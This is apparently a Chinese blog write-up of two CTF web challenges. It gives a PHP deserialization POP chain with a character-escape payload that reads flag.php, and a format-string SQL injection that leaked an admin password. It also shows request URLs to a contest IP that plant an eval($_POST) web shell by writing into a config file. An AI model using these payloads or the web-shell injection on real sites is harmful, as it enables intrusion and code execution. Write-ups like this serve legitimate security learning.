Author:颖奇L’Amore

Blog:www.gem-love.com


Ezunserialize

考点:反序列化POP链、字符逃逸

难度:普通

给了源码:

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

这里很明显是用C类中的__toString()方法中的file_get_contents()来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = 'a'.$this->b; 此处的$b属性实例化为C对象即可触发__toString()方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B,整个POP链便构造完成了:

$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);

得到:

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

之后很明显就是字符逃逸了,看下read()write()方法:

function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

i春秋战疫情那个比赛中,P3师傅出的ezphp就是个pop链+字符逃逸,有了ezphp这题的基础,做现在这个题就很简单了。可以看到\0\0\0的长度为6,然后chr(0).'*'.chr(0)的长度为3,因此read()方法可以造成字符逃逸。

假设分别传入1和2,得到这样的序列化字符串:

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}

简单介绍一下原理,字符逃逸需要做的是通过字符串替换,让蓝色的长度为红色字部分的长度,这样就可以在本来的2的部分注入对象,然后进行反序列化。

Payload:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"

会得到这样的序列化字符串(每个*左右都有不可见字符%00):

O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"";}

可以看到,红色部分刚好长度为48,后面就逃逸出去了,而橙色部分正好是读取flag的核心部分。

得到flag.php源码:

<?php
$flag = 'flag{54c3439fe400834815e5fb576adfe04a}';

像这个题是长的替换成短的,就把Payload构造到后面的属性上去;如果的短替换成长,比如p3师傅的ezphp,就把注入的部分拼接在当前属性的后面,使它们刚好逃逸出来。


web2-babytricks(UNSOLVED)

考点:sprintf()格式化字符串、SQL注入、单行模式getshell、bypass UAF

第一步利用格式化字符串吞引号+SQL注入把密码给打出来:

Array
(
    [0] => 1
    [id] => 1
    [1] => admin
    [user] => admin
    [2] => GoODLUcKcTFer202OHAckFuN
    [passwd] => GoODLUcKcTFer202OHAckFuN
)

然后去后台登录,来到第二步:

<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
    die("<script>window.location.href='./index.php'</script>");
}
if($_GET['shell']){
    $shell= addslashes($_GET['shell']);
    $file = file_get_contents('./shell.php');
    $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
    file_put_contents('./shell.php', $file);
}else{
    echo "set your shell"."<br>";
    chdir("/");
    highlight_file(dirname(__FILE__)."/admin.php");
}
?>

这个是P神发过的,然后Smi1e师傅也写了相关文章:

[小密圈]经典写配置漏洞与几种变形学习

分别访问:

  • http://183.129.189.60:10006/admin/admin.php?shell=;eval($_POST[y1ng]);
  • http://183.129.189.60:10006/admin/admin.php?shell=$0

即可成功getshell

第三步是bypass UAF,一直没做出来,等一个官方wp

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2275.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image